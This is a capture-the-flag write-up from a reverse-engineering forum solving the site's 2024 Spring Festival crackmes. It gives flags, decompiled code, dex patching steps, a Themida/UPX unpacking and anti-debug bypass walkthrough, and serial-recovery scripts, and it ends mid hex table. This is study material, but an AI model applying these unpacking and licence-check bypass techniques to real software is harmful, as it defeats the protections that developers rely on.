吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 13041|回复: 120
收起左侧

[CTF] 吾爱破解 2024 春节红包活动WP(全,含 Android 高级题)

    [复制链接]
4qwerty7 发表于 2024-3-8 05:04
本帖最后由 4qwerty7 于 2024-3-8 18:07 编辑

送分题

公众号发送提示内容即可。

Windows 初级题

int __cdecl main(int argc, const char **argv, const char **envp)
{
// definations
  Src[4] = 0;
  v30 = 15;
  LOBYTE(Src[0]) = 0;
  sub_B42560(Src, "ioCj~KCss|bQ6zbhCu$5r57$Iljkwlqj$$$?", 0x24u);
  v36 = 0;
  SetConsoleTitleA(&ConsoleTitle);
  v34 = 0;
  v35 = 15;
  LOBYTE(v33[0]) = 0;
  LOBYTE(v36) = 1;
  v4 = sub_B427D0(v3, "Please input password: ");
  sub_B42A80((int)v4);
  sub_B431E0(&dword_B6E088, v33);
  v6 = v35;
  v7 = (void **)v33[0];
  if ( v34 == 36 ) // check length
  {
    sub_B42490(&v27, Src);
    sub_B41FE0((int)Block, -3, v27, v28);
    LOBYTE(v36) = 2;
    v9 = Block;
    v10 = v33;
    if ( v32 >= 0x10 )
      v9 = (void **)Block[0];
    if ( v6 >= 0x10 )
      v10 = v7;
    if ( Block[4] != (void *)36 )
      goto LABEL_19;
    v11 = 32;
    while ( 1 ) // compare
    {
      v12 = *v10;
      if ( *v10 != *v9 )
        break;
      ++v10;
      ++v9;
      v14 = v11 < 4;
      v11 -= 4;
      if ( v14 )
      {
        v13 = 0;
        goto LABEL_18;
      }
    }
    v14 = (unsigned __int8)v12 < *(_BYTE *)v9;
    if ( (_BYTE)v12 == *(_BYTE *)v9
      && (v15 = *((_BYTE *)v10 + 1), v14 = v15 < *((_BYTE *)v9 + 1), v15 == *((_BYTE *)v9 + 1))
      && (v16 = *((_BYTE *)v10 + 2), v14 = v16 < *((_BYTE *)v9 + 2), v16 == *((_BYTE *)v9 + 2))
      && (v17 = *((_BYTE *)v10 + 3), v14 = v17 < *((_BYTE *)v9 + 3), v17 == *((_BYTE *)v9 + 3)) )
    {
      v13 = 0;
    }
    else
    {
      v13 = v14 ? -1 : 1;
    }
LABEL_18:
    v18 = "Success";
    if ( v13 )
LABEL_19:
      v18 = "Wrong,please try again.";
    v19 = sub_B427D0((int)v9, v18);
// end logic
  return 0;
}

输入一个长度为 36 的串,在开始比较处下断点,发现比较的是用户输入和flag,提交flag即可。

fl@g{H@ppy_N3w_e@r!2o24!Fighting!!!}

1.1版本多了个!,会有个 jumpout,这是因为IDA把它识别成了两个函数,需要 undefine 第二个函数,并把相关代码识别到第一个函数里面:

fl@g{H@ppy_N3w_e@r!2o24!Fighting!!!!}

Android 初级题一

jadx 打开,阅读 MainActivity 和 YSQDActivity 代码发现 flag 位于 ys.mp4 末尾,内容为 flag{happy_new_year_2024}

Android 初级题二

jadx 打开,阅读 FlagActivity 代码发现 flag 是数组 {86, -18, 98, 103, 75, -73, 51, -104, 104, 94, 73, 81, 125, 118, 112, 100, -29, 63, -33, -110, 108, 115, 51, 59, 55, 52, 77} 与 apk 证书二进制内容的异或。

编写得到证书的脚本

import struct
def get_v2_signature(path, verbose=True):
    buf = open(path, 'rb').read()
    off = 0
    i = 0
    # find zip's EOCD
    while True:
        off = len(buf) - i - 2
        n, = struct.unpack('<H', buf[off:off+2])
        if n == i:
            off -= 20
            if (struct.unpack('<I', buf[off:off+4])[0] ^ 0xcafebabe) == 0xccfbf1ee:
                break
        assert i < 0xffff, 'cannot find eocd'
        i += 1
    off += 16
    offset, = struct.unpack('<I', buf[off:off+4])
    off = offset - 0x18
    # apk sig block is before the central directory starts
    sig_block_size, = struct.unpack('<Q', buf[off:off+8])
    off += 8
    assert buf[off:off+0x10] == b'APK Sig Block 42', 'sig block magic mismatch'
    off = offset - sig_block_size
    assert struct.unpack('<Q', buf[off-8:off])[0] == sig_block_size, 'sig block size mismatch'
    first_cert = None
    cert_cnt = 0
    while True:
        cur_size, id_value = struct.unpack('<QI', buf[off:off+12])
        if cur_size == sig_block_size:
            break
        if verbose:
            print(f'offset: 0x{off:08x}, size: 0x{cur_size:08x}, id: 0x{id_value:08x}')
        cur_off = off + 8
        off += 12
        if (id_value ^ 0xdeadbeef) == 0xafa439f5 or (id_value ^ 0xdeadbeef) == 0x2efed62f:
            off += 4 * 3 # signer-sequence length, signer length, signed data length
            off += 4 + struct.unpack('<I', buf[off:off+4])[0] # digests-sequence length, digests-sequence
            off += 4 # certificates length
            cert_size, = struct.unpack('<I', buf[off:off+4]) # certificate length
            off += 4
            cert = buf[off:off+cert_size]
            base_hash = 1
            for i, v in enumerate(cert):
                base_hash = (base_hash * 31 + (v if v < 0x80 else v - 256 + 2**32)) & 0xffffffff
            base_hash ^= 0x14131211
            if not verbose:
                return cert
            print(f"    size: 0x{cert_size:04x}, hash: 0x{base_hash:08x}")
            if first_cert is None:
                first_cert = cert
        off = cur_off + cur_size
    return first_cert

cert = get_v2_signature('【2024春节】解题领红包之Android初级题二.apk')
print(bytes([(a&0xff)^b for a,b in zip([86, -18, 98, 103, 75, -73, 51, -104, 104, 94, 73, 81, 125, 118, 112, 100, -29, 63, -33, -110, 108, 115, 51, 59, 55, 52, 77], cert)]))

得到flag为 flag{52pj_HappyNewYear2024}

Android 中级题

jadx 打开,阅读 MainActivity 发现会加载 classes.dex 并调用 com.zj.wuaipojie2024_2.C 的 isValidate 方法验证输入。

而 isValidate 方法 则会调用 com.zj.wuaipojie2024_2.A 的 d 方法,注意拿到方法的过程中调用了 fix 修复 classes,使用的参数是 getResources().getIntArray(C0888R.array.A_offset)。

在 res/values/arrays.xml 里看到

<?xml version="1.0" encoding="utf-8"?>
<resources>
    <array name="A_offset">
        <item>0</item>
        <item>3</item>
        <item>7908</item>
    </array>
    <array name="D_offset">
        <item>1</item>
        <item>1</item>
        <item>8108</item>
    </array>
</resources>

阅读 fix 代码可知三个参数分别是 class_def 编号、direct_methods 编号、encoded_method 的第 3 个 uleb128 参数即 code_off 要被修改为的值。

010 editor 打开 classes.dex 并应用模板,将相应 code_off 修改为 uleb128 编码的 7908(由于 hex(7908) == '0x1ee4' hex(0x1e<<1|1) == '0x3d',所以是 E4 3D)。

修改后 jadx 打开 classes.dex,看到 d 函数开头调用 native 函数基于 socket connect 检查了 frida server 并验证包签名后对 str 做检查。

然后提示内容在 B.d 中,而 B.d 的内容显然是无意义的,因此猜测需要按 D_offset 的内容进行修复,而 D_offset 的 class_def 编号和 direct_methods 编号都对的上,因此用同样的方法打开 010 editor 对 code_off 进行 patch(由于 hex(8108) == '0x1fac' hex(0x1f<<1|1) == '0x3f',所以是 AC 3F)。

发现内容为 return "机缘是{" + Utils.md5(Utils.getSha1("password+你的uid".getBytes())) + "}";

猜测 password 为签名验证的 str。

据此抄写 jadx 输出编写程序即可

import java.math.BigInteger;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;

class Main {
        public static byte[] getSha1(byte[] bArr) {
        try {
            return MessageDigest.getInstance("SHA").digest(bArr);
        } catch (Exception unused) {
            return null;
        }
    }

    public static String md5(byte[] bArr) {
        try {
            String bigInteger = new BigInteger(1, MessageDigest.getInstance("md5").digest(bArr)).toString(16);
            for (int i = 0; i < 32 - bigInteger.length(); i++) {
                bigInteger = "0" + bigInteger;
            }
            return bigInteger;
        } catch (NoSuchAlgorithmException unused) {
            throw new RuntimeException("ops!!");
        }
    }

    public static void main(String[] args) {
        StringBuffer stringBuffer = new StringBuffer();
        int i = 0;
        while (stringBuffer.length() < 9 && i < 40) {
            int i2 = i + 1;
            String substring = "0485312670fb07047ebd2f19b91e1c5f".substring(i, i2);
            if (!stringBuffer.toString().contains(substring)) {
                stringBuffer.append(substring);
            }
            i = i2;
        }
        String password = stringBuffer.toString().toUpperCase();
        System.out.println(password);
        System.out.println(md5(getSha1((password + "691872").getBytes())));
    }
}

password 为 048531267

最后这一部分 flag 是否有 {} 等细节多少有点迷,不过问题不大。

Windows 高级题

客户端类 UPX 壳,没法用 UPX 自动脱壳,因此用“ESP 定律”脱,脱下来随便修复下(不用能跑,ida里能看即可)。

服务端 Themida 强壳,但 unlicense 非常nb,按提示在 conda 里装个 python 3.10 32-bit:

conda create -n py310_32
conda activate py310_32
conda config --env --set subdir win-32
conda install python=3.10
conda activate py310_32

然后用这个工具就可以完美脱壳,并能正确运行。

然后有一些反调试,但是 x64dbg 下用 ScyllaHide Themida Profile 基本都能自动过掉,无须操心。

IDA 里阅读客户端代码可知调用的是 out-of-process 的、 .exe 的 COM 接口。服务端注册后,客户端获得 COM 对象时 Windows 就会自动启动服务端,随后通过RPC受理调用请求。

在 Windows SDK 里找到 oleview 工具(我的电脑上在 C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\x86\oleview.exe),File 菜单下选 View Typelib,选择服务端程序,可以得到 RPC 接口的 IDL:

// Generated .IDL file (by the OLE/COM Object Viewer)
// 
// typelib filename: crackme2024service.exe

[
  uuid(E5F1A4DB-E66F-4F2E-B98D-7E6E33D6C9A6),
  version(1.0),
  custom(DE77BA64-517C-11D1-A2DA-0000F8773CE9, 134218331),
  custom(DE77BA63-517C-11D1-A2DA-0000F8773CE9, 1707276290),
  custom(DE77BA65-517C-11D1-A2DA-0000F8773CE9, "Created by MIDL version 8.00.0603 at Wed Feb 07 11:24:49 2024
")

]
library crackme2024serviceLib
{
    // TLib : OLE Automation : {00020430-0000-0000-C000-000000000046}
    importlib("stdole2.tlb");

    // Forward declare all types defined in this typelib
    interface IATLCrackmeObject;

    [
      uuid(E31B66BC-893B-4269-8C01-14F95AF8CDCD)
    ]
    coclass ATLCrackmeObject {
        [default] interface IATLCrackmeObject;
    };

    [
      odl,
      uuid(384C7517-B706-4958-AB87-6EE5925674B2),
      dual,
      nonextensible,
      oleautomation
    ]
    interface IATLCrackmeObject : IDispatch {
        [id(0x00000001), helpstring("method: Method1()")]
        HRESULT setUID([in] unsigned int id);
        [id(0x00000002), helpstring("method: Method2()")]
        HRESULT setSerial([in] unsigned char serial[200]);
        [id(0x00000003), helpstring("method: Method3()")]
        HRESULT checkSerial([out, retval] char* result);
        [id(0x00000004), helpstring("method: Method4()")]
        HRESULT setCallback([in] uint64 funPtr);
    };
};

然后就是想个办法定位到服务端这些函数的位置,我找了半天找不到(事后反过来找发现可以从 ATL::CComObject<class CATLCrackmeObject>ATL::CComContainedObject<class CATLCrackmeObject>的 vftable 入手(根据网上的例子可知,实际用户编写的类是个抽象类,其 vtable 并不实际生成(ATL_NO_VTABLE),需要找到它的子类才有这些虚函数指针))。

注意到客户端有一些共享内存的逻辑,猜测服务端也有,因此从相关函数的导入表开始查询交叉引用定位到了ATL::CComObject<class CATLCrackmeObject>的构造函数。

然后就是阅读整体逻辑:依次为 setUID、客户端跑共享内存中的代码、setSerial、checkSerial。

把 CATLCrackmeObject 类在 IDA 里定义出相应的结构体来,然后根据这些服务端函数依次还原每个字段的含义就差不多能看懂 checkSerial 的内容了。

最后 dump 出一些常量来就可以写还原 serial 的脚本了:

# note: unlicense require 32-bit python if you need unpack 32bit executable
# using conda activate py310_32
# or
"""
conda create -n py310_32
conda activate py310_32
conda config --env --set subdir win-32
conda install python=3.10
"""
# first use ole viewer at C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\x86\oleview.exe
# File->View Typelib to read idl
# find vtable for ATL::CComContainedObject<class CATLCrackmeObject>::`vftable'
# or ATL::CComObject<class CATLCrackmeObject>::`vftable'
# its own constructor will be ATL_NO_VTABLE
# so search constructor for ATL::CComAggObject<CATLCrackmeObject> or ATL::CComObject<class CATLCrackmeObject>
#691872
#6F73F5E400
# 36A8ADECAA4AEF73
#12345678901234567890123456789012354
#12131410-22232412-22232122-22232122
from struct import *
dword_41F8D4, =unpack('<I', bytes.fromhex('20C8555E'))
dword_41F8D0, =unpack('<I', bytes.fromhex('D8AD2652'))
cc = list(unpack('<16I', bytes.fromhex('519E0AA3C206BB229417265A7393710C7813B847446653FEBCCB59467D55A4EB412FD560C4B26B3D1BF0159DB49E0D16BF07CAEC94CFD036379638AE9BB168F8')))

dword_41F4D0=list(unpack('<256I', bytes.fromhex('AB 81 35 0D E3 07 F3 E8 E0 AC 57 46 DA 64 08 40 3A EE 5F C9 00 DB 09 BF B9 C3 AB 9E 1B 2F EC 45 53 1B 8F 2D 0B 9E 77 ED 6F 25 E7 B0 54 89 2E 41 43 12 63 07 47 E6 C8 C9 E8 B3 CA 96 B0 A6 2E 58 5D FD 68 DB 5C F5 71 7C 96 EB 44 65 45 5F 65 B5 04 AF FC 4F D1 44 D3 96 CB 00 01 D1 7A B8 B2 EB 6F B6 FD 54 20 BE 9C 3F C5 8F B3 7D 1C 19 43 9C 47 D0 A2 7D 5F C9 89 EA 43 9A F3 2B BF 91 3A F9 9F 3A E0 CF 40 D9 6E 2D 55 52 C7 B1 68 F1 EE EA D4 8B FF BE 97 83 50 4F 62 49 48 72 20 9E 4E 8D FC 74 5F 87 E9 74 77 60 FE C3 30 8B 2E 42 E6 EC 9F 55 24 8E 4F DC 84 B3 FA 03 57 A6 E1 01 13 B0 D1 03 28 D1 F7 95 9C 96 BB 53 25 C9 A3 A4 E7 91 BB BF F1 ED 13 CA 1D 46 A6 C1 CC 27 D7 53 2B 36 2D A7 32 42 B8 73 F8 08 EB E6 47 BD EE ED C2 02 48 C0 59 9C 4E 6C 75 82 58 14 8F 75 37 EA F2 FA E6 94 E2 CF 78 49 B7 EC 48 64 88 72 FC 32 4B C3 C1 7F A9 0C D7 88 6E CA 86 3A 60 22 C5 21 6F A0 90 A4 87 1E 85 BD 34 25 67 5D 94 B2 85 FD E0 B4 A3 99 40 25 32 2C D3 3F 1F DD CA A8 E9 05 C5 94 A0 CB 8A CD 89 6F C9 47 6A A5 B9 73 3B 01 1A 86 D1 11 F9 2E 35 F8 FA E4 0C C2 20 30 8B FA C5 CF EF E0 C2 20 01 11 25 2D D0 07 EC EC 0A A6 F3 F0 32 F2 99 75 27 C7 8E 8E 2F 82 0A 24 41 BD 4C 5D E3 4F 74 6E 1C 12 AE 2C 30 2F 74 47 7C AF F3 E0 6B 07 6F 52 65 9E 37 A6 F4 8E B5 60 A5 9E A2 20 16 84 BD B1 4F 60 75 77 AA 65 D1 F3 66 95 0E F1 2F 74 01 1C 58 01 E7 C4 85 D2 FF C6 AA C0 11 07 52 C8 A7 13 C6 B3 29 AF 1F BC DD 4C 41 B3 9E 12 B6 2C 11 D2 10 20 B3 31 1D B1 9A 65 81 1F 02 26 88 17 EE BE C4 24 93 2A 53 DE C0 09 55 D8 09 66 07 A8 E3 CF B1 8F CC 5D 0B 2C 12 38 56 0B EC 59 94 04 C7 52 BF 07 45 28 71 57 E2 60 D2 4C 13 0C 2A 9D B3 EB 17 45 DC 43 44 17 EB 0C 87 6E AC A7 D5 C5 70 96 CC 7D 67 5F A3 95 5E BE 62 B2 B6 EC E6 83 CB FE 92 36 29 91 9B C4 CB 78 E6 85 80 4D 01 4E 3A E9 A7 C7 00 D4 F9 33 A6 26 A8 B7 F0 E7 C0 ED 9A 69 A6 12 CF 36 B2 CA 91 7A C4 E2 61 09 9E AA 0B 7A E5 69 96 42 A6 10 67 18 0C 9D 68 EA B4 EE B5 66 20 3E 0A A0 9A A4 58 05 FA 72 09 D1 13 A1 C3 43 A6 8A 2D DA 9E BC 92 81 7F A0 16 A7 8E B6 46 B5 AE DE 2E CD E9 C8 68 00 F7 41 A1 78 00 31 A3 2D 11 D2 78 78 66 07 AA 2E 06 F6 DA BE 8C A9 2E 2B 7F 18 84 39 97 7B A3 3C 49 35 7E BD 8A 44 A5 EC E9 68 7D C8 D1 DC 4A 89 A2 45 E9 7D E5 F9 10 A8 C1 3B CB EA 84 88 64 75 7F DD 4D 2C 5C 31 48 C4 86 18 5B 0A A3 45 B4 DA 5C FC C6 8D A2 80 D3 33 34 0C C7 BC 06 70 D2 48 E4 5D 8E 60 18 4F 45 2A FB 83 68 9A AC 28 AB 96 99 45 04 2B 69 09 92 0E 45 12 8D 44 B0 99 BA CD 85 3A 23 9B 53 95 4B A0 7A A2 C9 BA 4F F4 FF 64 86 70 E9 D0 6C AB AC 6E 5E 11 1E 81 1A 8A 26 86 45 F3 2C F3 49 87 0B 78 0D 50 CE 34 E8 DE D4 6D 05 AB A7 3F F9 25 AF 63 F6 74 89 D1 84 A8 18 3A 56 00 C0 F0 E2 AA 18 91 9B 54 5A 57 31 DB EC 15 3D CA DC 8D 2F 5B FC 9C D7 6A EE 10 1C 7E EA 0E B7 EC 33 D0 BE 5A AE 1D 61 92 CC AC 38 C0 1F 25 81 CD D3 57 CF 12 59 BF 60 79 BC FA 05 F9 54 3F 2B 60 3D 02 DE ED 2F 0E 37 86 4C DB 65 32 E9 69 39 22 85 A1 44 F1 CF 5F F4 00 D2 8C CE BC 18 BF 21 6F E3 DA E8 D9 57 66 43 4A 07 D5 74 94 7B 34 AB 33 E7 4F 5A 87 27 14 76 1E 15 43 D5 73 09 92 D4 4B 18 6F 43 D4 6F 1B 27 B1 0D B1 60 C6 01 F3 68 32 39 09 D8 D6 6B 03 5F C3 17 1D 5B 03 6F DD 63 55 4F DC')))
dword_41F0D0=list(unpack('<256I', bytes.fromhex('A0 D4 9B 50 84 32 BE 4E 95 CF F3 CA 7A B4 87 EC F7 94 AC 55 F5 42 A7 13 10 81 1D CD A0 B5 6B FB 78 D8 68 29 3E 81 2A CB 54 AF C7 19 5F A8 40 02 5B F0 7A 2A 9C DD 25 AB 8E 35 7D 7D A1 8E 4E 49 89 93 5B 53 59 95 3E AF 37 7E F9 54 1D 01 63 51 0C F3 E8 2F 81 E1 36 C2 83 F0 A7 8B F4 8A CC FE 20 EE BA 69 00 B6 7A 1A 08 AF ED 17 FF AB D6 6B 75 F0 BC 9A 4E 0B 22 A1 4E 11 9C 8D 64 74 83 CF 15 F7 8E 68 15 78 F2 1F 58 DF D8 C9 EE C0 C9 EA 96 DF 44 20 5F C8 E0 D6 52 07 82 F4 8D 54 0A 54 DD 18 03 48 35 97 E9 CE 91 D7 28 4F 5A 58 D9 0C ED F7 1D 76 DC 06 28 F8 62 7A 3B 66 5B 18 A2 C7 C4 9C FE 72 78 E0 19 BB 88 A4 65 30 A5 88 97 B9 F9 62 82 E3 BB 0E 3D E9 41 B4 E1 C8 83 E6 17 4C 03 09 E8 BC FF B3 7F 48 5B 1B 7A 20 4D 79 D5 2D 7B 76 D0 EB B5 3C BB A8 5B CB C2 D4 D8 52 E2 89 58 32 34 05 BE 62 94 87 EE 38 61 63 C6 EF 87 63 B9 BC E0 07 55 04 8B 76 E9 87 22 67 0A AA 4A 4F D9 05 02 48 7E 9D B6 39 3E 9B B7 66 91 6B 6D F9 F6 F0 D4 A2 65 39 17 E5 4C 9C 55 E5 51 D0 37 D2 C2 F1 AE 91 B6 8A CC 4F D4 2C 35 69 34 87 49 EE B7 F2 47 71 E2 29 5A B1 81 67 DA 3D C2 21 32 A3 F3 6A 81 19 E5 46 A1 9B FC 84 08 01 52 38 70 3B 62 52 0B 0A F8 7A D8 A6 D9 AC 73 7C B8 9D 83 C4 CB 3C 5D 17 72 EA FB 57 C0 13 6C F2 B8 C2 23 E8 C6 BD 86 4D C2 20 3A C6 6D D8 5D 70 B9 E9 CF 9D 3D D7 C0 55 81 50 D7 9A 2A 53 CD D2 DA 4F FE EC F2 85 E9 9E F8 E0 EB 4C 5B 5B 9C 35 CF 75 7B 4C 57 E9 36 6A D3 EC 9A 36 D9 3E 90 A6 E6 1F 6B A7 56 D9 18 C7 97 9C 04 4A 66 76 CA ED 76 EB 0E 81 D9 34 AA 43 96 ED 05 57 5C 22 81 38 DE 79 9E 27 A2 E2 02 21 69 48 B9 98 70 06 30 56 C4 18 F1 7D DC B5 D4 E6 D1 A4 44 5C 57 42 65 6B B1 5F BD BB 77 AF 34 9A E4 AD AF 8B 7A CB B7 C1 36 13 CF C4 2F F7 AD 09 2C E3 29 D8 6E 91 30 AE 1E D8 CB 68 E2 C8 3F 51 CC 0A 43 90 F4 9A 4B E8 68 0F 23 DA 7E 0D 4E AD 00 A3 8D D7 F8 13 64 BE 15 AB 23 43 33 AD CB DA B8 C3 BA E3 D5 AA 5A 1B 17 C8 EE AB 34 DA 2A E5 DE 3C 90 7C 80 8E 0F 9D F7 CC 63 52 A4 E5 D5 D0 DA 21 C7 80 ED B3 5A 7B E1 B5 27 5E 43 1D 24 8F 0F 0D 81 B7 88 66 EF 2C BE 99 90 1A 4D 26 44 BA 75 15 DC B3 F6 F4 97 B0 F8 C2 AC 82 40 C1 6E 45 A2 1A 7E 7A 27 45 0D 0C F1 40 72 C3 3D DB 44 37 54 5F BD 8A A9 ED E0 5C 0F 86 B8 6D 8C 2C 0C F0 72 A6 7C 94 09 0D 16 37 4A 98 13 99 54 59 85 B3 D2 56 22 3F 28 5D 5D 43 40 FB F5 2F FE FB 6C 6B 3F 2B 8C 66 12 32 89 62 C0 4A C0 F9 AD B3 CB E0 1A 6F CB CD 29 7D 47 95 5D 40 89 36 8F 2C 6E 35 39 1C 97 70 25 7C 36 7F F6 C5 FB 93 1E D6 4E 86 C3 30 F4 D8 A2 7B 72 53 62 17 B4 C3 28 01 18 5E CF D6 1C 50 B8 73 88 44 F9 D4 D5 7C EC 04 AC 96 1F 77 3D 11 0C F9 D1 8D 03 CB 73 90 D0 67 70 82 43 FB FD 2C 80 96 26 34 FE 6C 9B FC E1 FB AB B4 7D 02 16 29 B8 DF 26 C7 BF 54 C0 FC 56 E8 C9 C8 F4 97 58 B2 47 8E 34 73 CA 20 D4 94 7B B7 15 69 64 4E 38 CA A2 38 7C 4B E8 94 D5 68 11 BA 86 76 10 F3 22 92 59 4D 3F 69 24 C4 3D 51 4A E8 A5 D1 DE FA 44 B6 6B 4D A1 9C 51 74 0D C7 98 90 8F AD 0D 9F C6 32 64 88 06 0F 57 4B EE 13 02 C0 FE 90 16 81 15 7F 7E C0 B7 DC 63 67 67 6F 23 23 32 07 F8 36 22 FF 6D 43 F8 6C 28 8C E0 80 0A 1A 53 C7 B3 72 3C 68 BA 69 A9 72 38 BF EF FD 10 42 1D 09 89 58 4E DD 86 9D 5F 70 58 4F 27 67 05 35 AF 63 BC 55 F2 2B E3 23 18 46 08 6D A4 E4')))
dword_41E8D0=list(unpack('<256I', bytes.fromhex('B0 CF FD 62 85 C8 34 3E F7 EA B1 7F BF 68 8E E4 34 22 E8 CA 88 C9 F1 46 C9 18 46 21 3D 6C 88 A1 F3 F6 77 95 B2 04 57 B9 D7 0F C4 93 03 3C 29 2F 91 6E F2 45 B3 BF CE 42 1C 64 DA 35 F0 85 C1 A8 CA 20 22 8F 12 98 CE 66 AA E6 BE 82 0B 3C A9 CD DA 04 30 4B 8E DD CB B4 56 23 5B 78 5C 45 83 15 3B E0 F2 F3 22 C1 E0 76 E9 14 DF 7D 4F A9 04 1C DD 84 85 75 E2 6E 5C 4E F2 37 95 2A 74 D8 62 AF CB 6A 19 D6 C2 7E FA 8B 40 5E 4D E6 A3 91 DC 24 B7 9B B6 FC CC F6 8D 91 F1 D6 43 64 6F 54 7A 5B 7E 67 FD 0E F1 59 D8 37 D9 B8 CB 00 51 59 92 BD EC 3E A7 76 B4 C1 8E 3B B2 C2 02 20 33 D0 F6 30 33 8F C5 1C 4A A2 56 13 0E 57 EA 7F 5E C1 D2 E0 15 97 FA 20 89 84 D0 30 3C 06 0D 26 AB A5 92 91 AA 81 03 C8 97 5C C2 5F 55 9E 70 FD 20 EB FD 53 14 8F 71 E9 EC 5A 96 2B BE 54 3F B0 F7 3A 38 D4 A0 D6 67 4E BE 14 88 F2 8B 99 E6 D4 C7 52 E6 40 E6 7F D2 3C 25 D8 06 4C 93 51 E1 63 07 FE 69 26 10 C9 9C 7D 00 8F 72 07 33 7C 90 05 70 C0 FF F6 3A 20 67 C6 69 B8 F2 BD 41 98 FA AA 7F 4D 6E 92 1D B7 86 61 20 8A 6F C5 73 42 D9 EF 54 C6 62 34 B5 06 C1 CC 02 25 05 6C DD 0D FE 17 51 56 03 02 7F 60 6C 39 2B 5F 81 DF B1 2F F8 8A AD 6E 9A CA F3 70 E0 26 20 69 6D C8 34 6F 2D 04 3F 60 19 67 F6 B4 53 53 18 6E C2 4C 88 2A A3 F7 0B 58 A2 85 3B CF 2C 44 FF ED 8C 11 26 EA FE 72 7D B4 29 79 30 05 91 79 62 9A 1D F3 BF 9C 9F 84 DA 6A 9E 1C EB 26 5A A2 EE 18 03 9C B9 88 D8 88 B4 78 C8 02 DB 93 8C D5 8E 9E 87 5C 42 2E 7A E5 F6 07 0B D1 51 41 02 A5 94 C4 2E 31 0B 1F FA 35 2A 3A 3E C4 4C C9 75 5C BF F2 75 65 13 7D 40 7D E3 DD 1C 44 79 D5 FE 52 9C 98 0F 81 B7 1A 0B 2E 9F 8A 77 BB 67 14 C8 08 75 D9 17 ED 0D F1 D5 8E FF 7D 42 2C 22 BC 44 12 73 B1 1C BE 10 1F D7 7C 35 97 F8 5B C5 91 AE B0 B3 9B FB AA C7 F1 E8 53 28 0B 9B 15 20 68 37 57 7F 23 E2 68 B1 F2 F6 71 73 BB 01 4B DD FB 0B C5 FF 16 E9 7D 51 93 19 44 6A 2D 95 3D 37 3B 25 27 09 6C AD EB CD 75 E9 00 C6 48 5D 81 53 05 A7 4D 06 5C F6 5A B0 5E 6E D8 5E 8C EA 03 9A E6 D6 A5 CB E5 45 B0 4F E7 A2 A4 86 6F B2 9E 3E 3C 4A 0E 4D 0D 03 9A 93 DC B9 6B 34 BE 65 15 3F 99 39 9C 45 03 37 17 80 0A 28 E8 D6 09 E6 A0 6F 6F 3F EC 47 4F 7F B2 3D DF CF CE 52 34 8E 9B FD CE D4 A7 C4 0F D5 E5 E1 CF F6 52 B3 45 07 22 6F 04 CD 42 AB EC 88 C4 AD B0 8F 6C D9 E5 B2 D6 4A CE E3 02 FC 36 98 89 54 14 28 9A A7 E6 40 7C 98 FF 8D 79 B3 07 63 68 C9 4C 31 D7 A8 A8 50 1A 48 72 28 48 12 08 38 84 1C 3A 45 A2 08 77 D7 EC 7B 02 4D 8D D1 E6 7D E5 81 9C 07 42 96 8E 20 E6 DA A9 C9 BE A5 9B C3 80 E5 5D 26 8F DF 89 B9 76 FD 73 5D 58 F1 4F 67 40 24 3B 25 4E B5 68 6F A1 07 F2 1F 27 61 04 2A A4 7B C7 00 C0 01 E9 57 17 BA 47 68 8A EE 77 A4 58 3A A4 9B 60 5C E0 36 D3 D3 86 DE 9D 60 45 2C 66 33 5A D7 73 B9 AA 44 DF 99 5D B6 72 D0 47 60 54 9E B2 77 9D EA 57 A0 8A 54 63 95 08 D9 1C 24 A0 C8 47 F8 BB 3B 27 CF A9 90 49 91 71 EB F0 18 F4 1A 57 18 3A 97 73 71 0C 8D E2 AB 83 39 83 A6 50 6C FA 8A 67 5B EA 02 8C CE FE 86 03 B5 AE A9 13 93 C2 5C 0A A6 65 91 34 52 4C 13 94 07 5C B6 65 2E 5E F3 AE E3 50 3A C2 02 A7 D7 06 D8 05 BE B9 C3 61 DE E0 27 AD A1 A3 E8 75 09 66 42 2D 6F B1 D0 AB D7 A0 C7 72 EC 29 09 4B E7 83 2A 23 26 9B 6F 8B 12 74 73 84 6C 23 BF 52 46 D3 F3 44 9C 56 26 F0 FC DF 28 46 70 30')))
dword_41ECD0=list(unpack('<256I', bytes.fromhex('B0 E5 90 11 E3 2B 7A 80 E2 87 10 BF 48 8D 69 05 B7 89 F6 5F E2 2F 89 7E 4F 0A 9F F7 E2 7B 2E 99 96 3E 94 39 EF AB 85 30 3B 0A 27 E9 08 5B 41 D7 EE 77 DA 52 AF 51 F6 6E B1 49 A6 C8 14 09 9C 98 A5 87 4A 7E 41 DE D2 EC 56 79 E4 62 54 FA A0 69 E9 89 2D A4 1D 28 A8 E3 19 7F 67 FF 43 31 61 2F EF 9D 6A F5 2A 86 5E 65 40 19 92 B4 59 FD 98 40 A8 27 E0 B0 AB 09 7F 69 9A 91 4B 74 AC 24 86 20 3B 3C EE 5A 9C 1D C7 2A 97 79 96 A0 4B 62 D3 53 F9 C5 AF 4F 2C 20 83 45 34 3E 08 5A B8 89 98 8F 48 3D 01 16 B5 D2 B9 73 2C C5 2D 90 3C 1B 9F 51 8E 10 1D 81 A3 9F AC AC 49 A1 14 36 9D 9A 47 40 8B 41 F4 57 48 11 6E 0B 55 CA 79 07 D0 9F 60 A3 1A 3D 4D 14 16 85 47 16 44 08 6C C7 C8 BA 76 E2 F1 7C 0F B4 19 FE 1F 14 8A 0F 35 48 9A AF 71 C2 09 F4 0B 7D A8 C5 11 55 AF BD 55 31 70 58 44 80 45 1B 3E D5 BF 8D 0E 32 7E 68 03 E3 B4 BD 41 DD 1C FE 38 BE AA 78 D6 35 25 15 87 9D CE 16 5A FB 24 DA 94 AC CA 91 DD 48 CD 3E 79 26 9E 8D F1 0F 31 A2 DF 14 66 AD 38 ED C8 BB 15 78 3B 70 3F 4F 72 88 16 D1 FA 06 58 0A AB C1 18 C3 1F 65 E2 94 13 90 67 CA 84 32 07 84 F8 FF 51 F8 38 F3 D1 01 C3 27 1C 7A AA 4F EF 24 08 FF DF 34 5C 8F 4D 6D 2D 38 AA 13 42 DE DF E3 9A 62 75 E5 31 29 AE D1 75 EE E8 1E 02 2F E4 25 01 32 A5 62 57 E1 13 85 F8 B3 9B 38 F3 14 13 18 46 69 7D BB 74 4E 09 19 7C 40 AE 94 A5 EB 22 FE 65 43 27 78 1D E5 E6 24 04 4E 82 24 0E A7 07 A4 91 10 9F 0E E9 44 9A A9 8C 40 6B 53 C3 8F D9 80 71 D0 0D 18 EF DC C8 60 F5 2B 06 B0 5A CB E4 F3 29 D7 90 F9 0B 53 99 D2 66 13 22 6F 3D EE 77 